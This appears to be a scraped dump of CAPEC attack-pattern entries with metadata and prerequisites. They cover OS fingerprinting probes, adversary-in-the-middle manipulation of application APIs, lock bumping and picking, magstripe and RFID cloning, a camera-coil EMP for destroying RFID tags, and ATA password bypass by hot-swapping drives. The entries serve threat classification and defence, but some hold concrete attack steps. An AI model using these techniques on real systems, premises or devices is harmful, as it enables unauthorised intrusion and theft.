Medium: To probe a system remotely without detection requires careful planning and patience. Draft Low 3.9
541
IP ID Sequencing Probe Detailed This OS fingerprinting probe analyzes the IP 'ID' field sequence number generation algorithm of a remote host. Operating systems generate IP 'ID' numbers differently, allowing an attacker to identify the operating system of the host by examining how is assigns ID numbers when generating response packets. RFC 791 does not specify how ID numbers are chosen or their ranges, so ID sequence generation differs from implementation to implementation. There are two kinds of IP 'ID' sequence number analysis - IP 'ID' Sequencing: analyzing the IP 'ID' sequence generation algorithm for one protocol used by a host and Shared IP 'ID' Sequencing: analyzing the packet ordering via IP 'ID' values spanning multiple protocols, such as between ICMP and TCP. 2014-06-23 02:00:00 Capec: CAPEC-317
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
Reference_from_capec: REF-130
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium Stable Low 3.9
312
IP 'ID' Echoed Byte-Order Probe Detailed This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'ID' value from the probe packet. An attacker sends a UDP datagram with an arbitrary IP 'ID' value to a closed port on the remote host to observe the manner in which this bit is echoed back in the ICMP error message. The identification field (ID) is typically utilized for reassembling a fragmented packet. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within an ICMP error message. 2014-06-23 02:00:00 Capec: CAPEC-318
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
Reference_from_capec: REF-130
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium Stable Low 3.9
312
IP (DF) 'Don't Fragment Bit' Echoing Probe Detailed This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'DF' (Don't Fragment) bit in a response packet. An attacker sends a UDP datagram with the DF bit set to a closed port on the remote host to observe whether the 'DF' bit is set in the response packet. Some operating systems will echo the bit in the ICMP error message while others will zero out the bit in the response packet. 2014-06-23 02:00:00 Capec: CAPEC-319
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
Reference_from_capec: REF-130
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium Stable Low 3.9
312
TCP Timestamp Probe Detailed This OS fingerprinting probe examines the remote server's implementation of TCP timestamps. Not all operating systems implement timestamps within the TCP header, but when timestamps are used then this provides the attacker with a means to guess the operating system of the target. The attacker begins by probing any active TCP service in order to get response which contains a TCP timestamp. Different Operating systems update the timestamp value using different intervals. This type of analysis is most accurate when multiple timestamp responses are received and then analyzed. TCP timestamps can be found in the TCP Options field of the TCP header. 2014-06-23 02:00:00 Capec: CAPEC-320
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
Software

Explore

  1. Determine if timestamps are present.: The adversary sends a probe packet to the remote host to identify if timestamps are present.

Experiment

  1. Record and analyze timestamp values.: If the remote host is using timestamp, obtain several timestamps, analyze them and compare them to known values.
  2. Techniques
    The adversary sends several requests and records the timestamp values.
    The adversary analyzes the timestamp values and determines an average increments per second in the timestamps for the target.
    The adversary compares this result to a database of known TCP timestamp increments for a possible match.
Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.The target OS must support the TCP timestamp option in order to obtain a fingerprint.
  • Any type of active probing that involves non-standard packet headers requires the use of raw sockets, which is not available on particular operating systems (Microsoft Windows XP SP 2, for example). Raw socket manipulation on Unix/Linux requires root privileges. A tool capable of sending and receiving packets from a remote system.
Stable Low 3.9
312
TCP Sequence Number Probe Detailed This OS fingerprinting probe tests the target system's assignment of TCP sequence numbers. One common way to test TCP Sequence Number generation is to send a probe packet to an open port on the target and then compare the how the Sequence Number generated by the target relates to the Acknowledgement Number in the probe packet. Different operating systems assign Sequence Numbers differently, so a fingerprint of the operating system can be obtained by categorizing the relationship between the acknowledgement number and sequence number as follows: 1) the Sequence Number generated by the target is Zero, 2) the Sequence Number generated by the target is the same as the acknowledgement number in the probe, 3) the Sequence Number generated by the target is the acknowledgement number plus one, or 4) the Sequence Number is any other non- zero number. 2014-06-23 02:00:00 Capec: CAPEC-321
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending and receiving packets from a remote system.
Stable Low 3.9
312
TCP (ISN) Greatest Common Divisor Probe Detailed This OS fingerprinting probe sends a number of TCP SYN packets to an open port of a remote machine. The Initial Sequence Number (ISN) in each of the SYN/ACK response packets is analyzed to determine the smallest number that the target host uses when incrementing sequence numbers. This information can be useful for identifying an operating system because particular operating systems and versions increment sequence numbers using different values. The result of the analysis is then compared against a database of OS behaviors to determine the OS type and/or version. 2014-06-23 02:00:00 Capec: CAPEC-322
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending and receiving packets from a remote system.
Stable Low 3.9
312
TCP (ISN) Counter Rate Probe Detailed This OS detection probe measures the average rate of initial sequence number increments during a period of time. Sequence numbers are incremented using a time-based algorithm and are susceptible to a timing analysis that can determine the number of increments per unit time. The result of this analysis is then compared against a database of operating systems and versions to determine likely operation system matches. 2014-06-23 02:00:00 Capec: CAPEC-323
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • Any type of active probing that involves non-standard packet headers requires the use of raw sockets, which is not available on particular operating systems (Microsoft Windows XP SP 2, for example). Raw socket manipulation on Unix/Linux requires root privileges. A tool capable of sending and receiving packets from a remote system.
Stable Low 3.9
312
TCP (ISN) Sequence Predictability Probe Detailed This type of operating system probe attempts to determine an estimate for how predictable the sequence number generation algorithm is for a remote host. Statistical techniques, such as standard deviation, can be used to determine how predictable the sequence number generation is for a system. This result can then be compared to a database of operating system behaviors to determine a likely match for operating system and version. 2014-06-23 02:00:00 Capec: CAPEC-324
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
Reference_from_capec: REF-130
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending and receiving packets from a remote system.
Stable Low 3.9
312
TCP Congestion Control Flag (ECN) Probe Detailed This OS fingerprinting probe checks to see if the remote host supports explicit congestion notification (ECN) messaging. ECN messaging was designed to allow routers to notify a remote host when signal congestion problems are occurring. Explicit Congestion Notification messaging is defined by RFC 3168. Different operating systems and versions may or may not implement ECN notifications, or may respond uniquely to particular ECN flag types. 2014-06-23 02:00:00 Capec: CAPEC-325
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending and receiving packets from a remote system.
Stable Low 3.9
312
TCP Initial Window Size Probe Detailed This OS fingerprinting probe checks the initial TCP Window size. TCP stacks limit the range of sequence numbers allowable within a session to maintain the "connected" state within TCP protocol logic. The initial window size specifies a range of acceptable sequence numbers that will qualify as a response to an ACK packet within a session. Various operating systems use different Initial window sizes. The initial window size can be sampled by establishing an ordinary TCP connection. 2014-06-23 02:00:00 Capec: CAPEC-326
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending and receiving packets from a remote system.
Stable Low 3.9
312
TCP Options Probe Detailed This OS fingerprinting probe analyzes the type and order of any TCP header options present within a response segment. Most operating systems use unique ordering and different option sets when options are present. RFC 793 does not specify a required order when options are present, so different implementations use unique ways of ordering or structuring TCP options. TCP options can be generated by ordinary TCP traffic. 2014-06-23 02:00:00 Capec: CAPEC-327
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending and receiving packets from a remote system.
Stable Low 3.9
312
TCP 'RST' Flag Checksum Probe Detailed This OS fingerprinting probe performs a checksum on any ASCII data contained within the data portion or a RST packet. Some operating systems will report a human-readable text message in the payload of a 'RST' (reset) packet when specific types of connection errors occur. RFC 1122 allows text payloads within reset packets but not all operating systems or routers implement this functionality. 2014-06-23 02:00:00 Capec: CAPEC-328
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-128
Reference_from_capec: REF-212
2018-07-31 02:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending and receiving packets from a remote system.
Stable Low 3.9
312
ICMP Error Message Quoting Probe Detailed An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the amount of data returned or "Quoted" from the originating request that generated the ICMP error message. For this purpose "Port Unreachable" error messages are often used, as generating them requires the adversary to send a UDP datagram to a closed port on the target. The goal of this analysis to make inferences about the type of operating system or firmware that sent the error message in reply. This is useful for identifying unique characteristics of operating systems because the RFC-1122 expected behavior reads: "Every ICMP error message includes the Internet header and at least the first 8 data octets of the datagram that triggered the error; more than 8 octets MAY be sent [...]." This contrasts with RFC-792 expected behavior, which limited the quoted text to 64 bits (8 octets). Given the latitude in the specification the resulting RFC-1122 stack implementations often respond with a high degree of variability in the amount of data quoted in the error message because "older" or "legacy" stacks may comply with the RFC-792 specification, while other stacks may choose a longer format in accordance with RFC-1122. As a general rule most operating systems or firmware will quote the first 8 bytes of the datagram triggering the error, but some IP stacks will quote more than the first 8 bytes of data. 2014-06-23 02:00:00 Capec: CAPEC-329
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-123
Reference_from_capec: REF-124
Reference_from_capec: REF-262
2022-02-22 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending/receiving UDP datagram packets from a remote system to a closed port and receive an ICMP Error Message Type 3, "Port Unreachable..
Stable Low 3.9
312
ICMP Error Message Echoing Integrity Probe Detailed An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the integrity of data returned or "Quoted" from the originating request that generated the error message. A tremendous amount of information about the host operating system can be deduced from its 'echoing' characteristics. Notably, inspection of key protocol header fields, including the echoed header fields of the encapsulating protocol can yield a wealth of data about the host operating system or firmware version. For this purpose "Port Unreachable" error messages are often used, as generating them requires the adversary to send a UDP datagram to a closed port on the target. When replying with an ICMP error message some IP/ICMP stack implementations change aspects of the IP header, change or reverse certain byte orders, reset certain field values to default values which differ between operating system and firmware implementations, and make other changes. Some IP/ICMP stacks are decidedly broken, indicating an idiosyncratic behavior that differs from the RFC specifications, such as the case when miscalculations affect a field value. 2014-06-23 02:00:00 Capec: CAPEC-330
Cwe: CWE-200
Reference_from_capec: REF-33
Reference_from_capec: REF-123
Reference_from_capec: REF-124
Reference_from_capec: REF-262
2022-02-22 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending/receiving UDP datagram packets from a remote system to a closed port and receive an ICMP Error Message Type 3, "Port Unreachable..
Stable Low 3.9
312
ICMP IP Total Length Field Probe Detailed An adversary sends a UDP packet to a closed port on the target machine to solicit an IP Header's total length field value within the echoed 'Port Unreachable" error message. This type of behavior is useful for building a signature-base of operating system responses, particularly when error messages contain other types of information that is useful identifying specific operating system responses. RFC1122 specifies that the Header of the request must be echoed back when an error is sent in response, but some operating systems and firmware alter the integrity of the original header. Non-standard ICMP/IP implementations result in response that are useful for individuating remote operating system or router firmware versions. There are four general response types that can be used to distinguish operating systems apart: 1) the IP total length field may be calculated correctly, 2) an operating system may add 20 or more additional bytes to the length calculation, 3) the operating system may subtract 20 or more bytes from the correct length of the field or 4) the IP total length field is calculated with any other incorrect value. 2014-06-23 02:00:00 Capec: CAPEC-331
Cwe: CWE-204
Reference_from_capec: REF-33
Reference_from_capec: REF-123
Reference_from_capec: REF-124
Reference_from_capec: REF-262
2023-01-24 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications. Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending/receiving UDP datagram packets from a remote system to a closed port and receive an ICMP Error Message Type 3, "Port Unreachable."
Stable Low 3.9
312
ICMP IP 'ID' Field Error Message Probe Detailed An adversary sends a UDP datagram having an assigned value to its internet identification field (ID) to a closed port on a target to observe the manner in which this bit is echoed back in the ICMP error message. This allows the attacker to construct a fingerprint of specific OS behaviors. The internet identification field (ID) is typically utilized for reassembling a fragmented packet. RFC791 and RFC815 discusses about IP datagrams, fragmentation and reassembly. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within the ICMP error message. There are three behaviors related to the IP ID field that can be used to distinguish remote operating systems or firmware: 1) it is echoed back identically to the bit order of the ID field in the original IP header, 2) it is echoed back, but the byte order has been reversed, or it contains an incorrect or unexpected value. Different operating systems will respond by setting the IP ID field differently within error messaging. 2014-06-23 02:00:00 Capec: CAPEC-332
Cwe: CWE-204
Reference_from_capec: REF-33
Reference_from_capec: REF-123
Reference_from_capec: REF-124
Reference_from_capec: REF-262
2023-01-24 01:00:00 2.1 Authorization:
  • Bypass Protection Mechanism
  • Hide Activities
Access Control:
  • Bypass Protection Mechanism
  • Hide Activities
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
  • Hide Activities
Software
None Medium
  • The ability to monitor and interact with network communications. Access to at least one host, and the privileges to interface with the network interface card.
  • A tool capable of sending/receiving UDP datagram packets from a remote system to a closed port and receive an ICMP Error Message Type 3, "Port Unreachable."
Stable Low 3.9
312
Harvesting Information via API Event Monitoring Detailed An adversary hosts an event within an application framework and then monitors the data exchanged during the course of the event for the purpose of harvesting any important data leaked during the transactions. One example could be harvesting lists of usernames or userIDs for the purpose of sending spam messages to those users. One example of this type of attack involves the adversary creating an event within the sub-application. Assume the adversary hosts a "virtual sale" of rare items. As other users enter the event, the attacker records via AiTM (CAPEC-94) proxy the user_ids and usernames of everyone who attends. The adversary would then be able to spam those users within the application using an automated script. 2014-06-23 02:00:00 Capec: CAPEC-383
Cwe: CWE-311
Cwe: CWE-319
Cwe: CWE-419
Cwe: CWE-602
Attack: T1056.004
Reference_from_capec: REF-327
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data (The adversary is able to gather information to potentially support further nefarious activities.)
Social Engineering
Social Engineering
Software
None None
  • The target software is utilizing application framework APIs
Draft Low 3.9
407
Transaction or Event Tampering via Application API Manipulation Detailed An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process. 2014-06-23 02:00:00 Capec: CAPEC-385
Cwe: CWE-471
Cwe: CWE-345
Cwe: CWE-346
Cwe: CWE-602
Cwe: CWE-311
Reference_from_capec: REF-327
2021-06-24 02:00:00 2.1 Communications
Software
None None
  • Targeted software is utilizing application framework APIs
  • A software program that allows the use of adversary-in-the-middle communications (CAPEC-94) between the client and server, such as a man-in-the- middle proxy.
Draft Medium 3.9
384
Navigation Remapping To Propagate Malicious Content Detailed An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic. Performing this attack allows the adversary to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, spam-like content, or links to the adversarys' code. In general, content-spoofing within an application API can be employed to stage many different types of attacks varied based on the adversarys' intent. When the goal is to spread malware, deceptive content is created such as modified links, buttons, or images, that entice users to click on those items, all of which point to a malicious URI. The techniques require use of specialized software that allow the adversary to use adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system in order to change the destination of various application interface elements. 2014-06-23 02:00:00 Capec: CAPEC-387
Cwe: CWE-471
Cwe: CWE-345
Cwe: CWE-346
Cwe: CWE-602
Cwe: CWE-311
Reference_from_capec: REF-327
2022-09-29 02:00:00 2.1 Communications
Software
None None
  • Targeted software is utilizing application framework APIs
  • A software program that allows the use of adversary-in-the-middle communications between the client and server, such as a man-in-the-middle proxy.
Draft Medium 3.9
386
Application API Button Hijacking Detailed An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination. 2014-06-23 02:00:00 Capec: CAPEC-388
Cwe: CWE-471
Cwe: CWE-345
Cwe: CWE-346
Cwe: CWE-602
Cwe: CWE-311
Reference_from_capec: REF-327
2022-09-29 02:00:00 2.1 Communications
Software
  1. An in-game event occurs and the attacker traps the result, which turns out to be a form that will be populated to their primary profile. The attacker, using a MITM proxy, observes the following data: [Button][Claim_Item]Sourdough_Cookie[URL_IMG]foo[/URL_IMG][Claim_Link]bar[/Claim_Link] By altering the destination of "Claim_Link" to point to the attackers' server an unwitting victim can be enticed to click the link. Another example would be for the attacker to rewrite the button destinations for an event so that clicking "Yes" or "No" causes the user to load the attackers' code.
None None
  • Targeted software is utilizing application framework APIs
  • A software program that allows the use of adversary-in-the-middle (CAPEC-94) communications between the client and server, such as a adversary-in-the- middle (CAPEC-94) proxy.
Draft Medium 3.9
386
Content Spoofing Via Application API Manipulation Detailed An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, spam-like content, or links to the attackers' code. In general, content-spoofing within an application API can be employed to stage many different types of attacks varied based on the attackers' intent. The techniques require use of specialized software that allow the attacker to use adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. 2014-06-23 02:00:00 Capec: CAPEC-389
Cwe: CWE-353
Reference_from_capec: REF-327
2021-06-24 02:00:00 2.1 Communications
Software
None None
  • Targeted software is utilizing application framework APIs
  • A software program that allows the use of adversary-in-the-middle communications between the client and server, such as an adversary-in-the- middle proxy.
Draft Low 3.9
384
Lock Bumping Detailed An attacker uses a bump key to force a lock on a building or facility and gain entry. Lock Bumping is the use of a special type of key that can be tapped or bumped to cause the pins within the lock to fall into temporary alignment, allowing the lock to be opened. Lock bumping allows an attacker to open a lock without having the correct key. A standard lock is secured by a set of internal pins that prevent the device from turning. Spring loaded driver pins push down on the key pins. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. A bump key is a specially constructed key that exploits this design. When the bump key is struck or firmly tapped, its teeth transfer the force of the tap into the key pins, causing the lock to momentarily shift into proper alignment for the mechanism to be opened. 2014-06-23 02:00:00 Capec: CAPEC-392
Reference_from_capec: REF-33
2019-09-30 02:00:00 2.1 Physical Security
None None Draft None 3.9
391
Lock Picking Detailed An attacker uses lock picking tools and techniques to bypass the locks on a building or facility. Lock picking is the use of a special set of tools to manipulate the pins within a lock. Different sets of tools are required for each type of lock. Lock picking attacks have the advantage of being non- invasive in that if performed correctly the lock will not be damaged. A standard lock pin-and-tumbler lock is secured by a set of internal pins that prevent the tumbler device from turning. Spring loaded driver pins push down on the key pins preventing rotation so that the bolt remains in a locked position.. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. Most common locks, such as domestic locks in the US, can be picked using a standard 2 tools (i.e. a torsion wrench and a hook pick). 2014-06-23 02:00:00 Capec: CAPEC-393
Reference_from_capec: REF-33
2019-09-30 02:00:00 2.1 Physical Security
None None Draft None 3.9
391
Using a Snap Gun Lock to Force a Lock Detailed An attacker uses a Snap Gun, also known as a Pick Gun, to force the lock on a building or facility. A Pick Gun is a special type of lock picking instrument that works on similar principles as lock bumping. A snap gun is a hand-held device with an attached metal pick. The metal pick strikes the pins within the lock, transferring motion from the key pins to the driver pins and forcing the lock into momentary alignment. A standard lock is secured by a set of internal pins that prevent the device from turning. Spring loaded driver pins push down on the key pins. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. A Snap Gun exploits this design by using a metal pin to strike all of the key pins at once, forcing the driver pins to shift into an unlocked position. Unlike bump keys or lock picks, a Snap Gun may damage the lock more easily, leaving evidence that the lock has been tampered with. 2014-06-23 02:00:00 Capec: CAPEC-394
Reference_from_capec: REF-33
2019-09-30 02:00:00 2.1 Physical Security
None None Draft None 3.9
391
Cloning Magnetic Strip Cards Detailed An attacker duplicates the data on a Magnetic strip card (i.e. 'swipe card' or 'magstripe') to gain unauthorized access to a physical location or a person's private information. Magstripe cards encode data on a band of iron-based magnetic particles arrayed in a stripe along a rectangular card. Most magstripe card data formats conform to ISO standards 7810, 7811, 7813, 8583, and 4909. The primary advantage of magstripe technology is ease of encoding and portability, but this also renders magnetic strip cards susceptible to unauthorized duplication. If magstripe cards are used for access control, all an attacker need do is obtain a valid card long enough to make a copy of the card and then return the card to its location (i.e. a co-worker's desk). Magstripe reader/writers are widely available as well as software for analyzing data encoded on the cards. By swiping a valid card, it becomes trivial to make any number of duplicates that function as the original. 2014-06-23 02:00:00 Capec: CAPEC-397
Reference_from_capec: REF-33
2019-09-30 02:00:00 2.1 Physical Security
None None Draft None 3.9
395
Magnetic Strip Card Brute Force Attacks Detailed An adversary analyzes the data on two or more magnetic strip cards and is able to generate new cards containing valid sequences that allow unauthorized access and/or impersonation of individuals. Often, magnetic strip encoding methods follow a common format for a given system laid out in up to three tracks. A single card may allow access to a corporate office complex shared by multiple companies. By analyzing how the data is stored on a card, it is also possible to create valid cards via brute- force attacks. For example, a single card can grant access to a building, a floor, and a suite number. Reading and analyzing data on multiple cards, then performing a difference analysis between data encoded on three different cards, can reveal clues as to how to generate valid cards that grant access to restricted areas of a building or suites/rooms within that building. Data stored on magstripe cards is often unencrypted, therefore comparing which data changes when two or more cards are analyzed can yield results that aid in determining the structure of the card data. A trivial example would be a common system data format on a data track which binary encodes the suite number of a building that a card will open. By creating multiple cards with differing binary encoded segments it becomes possible to enter unauthorized areas or pass through checkpoints giving the electronic ID of other persons. 2014-06-23 02:00:00 Capec: CAPEC-398
Reference_from_capec: REF-33
2022-02-22 01:00:00 2.1 Physical Security
None None
  • The ability to calculate a card checksum and write out a valid checksum value. Some cards are protected by a checksum calculation, therefore it is necessary to determine what algorithm is being used to calculate the checksum and to employ that algorithm to calculate and write a new valid checksum for the card being created.
Draft None 3.9
395
Cloning RFID Cards or Chips Detailed An attacker analyzes data returned by an RFID chip and uses this information to duplicate a RFID signal that responds identically to the target chip. In some cases RFID chips are used for building access control, employee identification, or as markers on products being delivered along a supply chain. Some organizations also embed RFID tags inside computer assets to trigger alarms if they are removed from particular rooms, zones, or buildings. Similar to Magnetic strip cards, RFID cards are susceptible to duplication (cloning) and reuse. RFID (Radio Frequency Identification) are passive devices which consist of an integrated circuit for processing RF signals and an antenna. RFID devices are passive in that they lack an on on-board power source. The majority of RFID chips operate on either the 13.56 MHz or 135 KHz frequency. The chip is powered when a signal is received by the antenna on the chip, powering the chip long enough to send a reply message. An attacker is able to capture and analyze RFID data by either stimulating the chip to respond or being proximate to the chip when it sends a response to a remote transmitter. This allows the attacker to duplicate the signal and conduct attacks such as gaining unauthorized access to a building or impersonating a user's identification. 2014-06-23 02:00:00 Capec: CAPEC-399
Reference_from_capec: REF-33
2022-02-22 01:00:00 2.1 Physical Security
None None Draft None 3.9
395
RFID Chip Deactivation or Destruction Detailed An attacker uses methods to deactivate a passive RFID tag for the purpose of rendering the tag, badge, card, or object containing the tag unresponsive. RFID tags are used primarily for access control, inventory, or anti-theft devices. The purpose of attacking the RFID chip is to disable or damage the chip without causing damage to the object housing it. When correctly performed the RFID chip can be disabled or destroyed without visible damage or marking to whatever item or device containing the chip. Attacking the chip directly allows for the security device or method to be bypassed without directly damaging the device itself, such as an alarm system or computer system. Various methods exist for damaging or deactivating RFID tags. For example, most common RFID chips can be permanently destroyed by creating a small electromagnetic pulse near the chip itself. One method employed requires the modifying a disposable camera by disconnecting the flash bulb and soldering a copper coil to the capacitor. Firing the camera in this configuration near any RFID chip-based device creates an EMP pulse sufficient to destroy the chip without leaving evidence of tampering. So far this attack has been demonstrated to work against RFID chips in the 13.56 MHz range. 2014-06-23 02:00:00 Capec: CAPEC-400
Reference_from_capec: REF-33
2022-02-22 01:00:00 2.1 Physical Security
None None Draft None 3.9
395
Bypassing ATA Password Security Detailed An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password. 2014-06-23 02:00:00 Capec: CAPEC-402
Cwe: CWE-285
Reference_from_capec: REF-33
Reference_from_capec: REF-701
Reference_from_capec: REF-702
2022-02-22 01:00:00 2.1 Supply Chain
Physical Security
Hardware
  1. The A-FF Repair Station tool is a data recovery utility that can be used for ATA password removal (both High and Maximum level) and firmware area recovery. An adversary with access to this tool could reset the ATA password to bypass this security feature and unlock the hard drive. The adversary could then obtain any data contained within the drive. [REF-702]
  2. An adversary gains physical access to the targeted hard drive and installs it into a system that does not support ATA security features. Once the drive is installed in the feature-lacking system, the adversary is able to reset the hard drive password via the BIOS. As a result, the adversary is able to bypass ATA password security and access content on the drive.
None None
  • Access to the system containing the ATA Drive so that the drive can be physically removed from the system.
Draft None 3.9
401
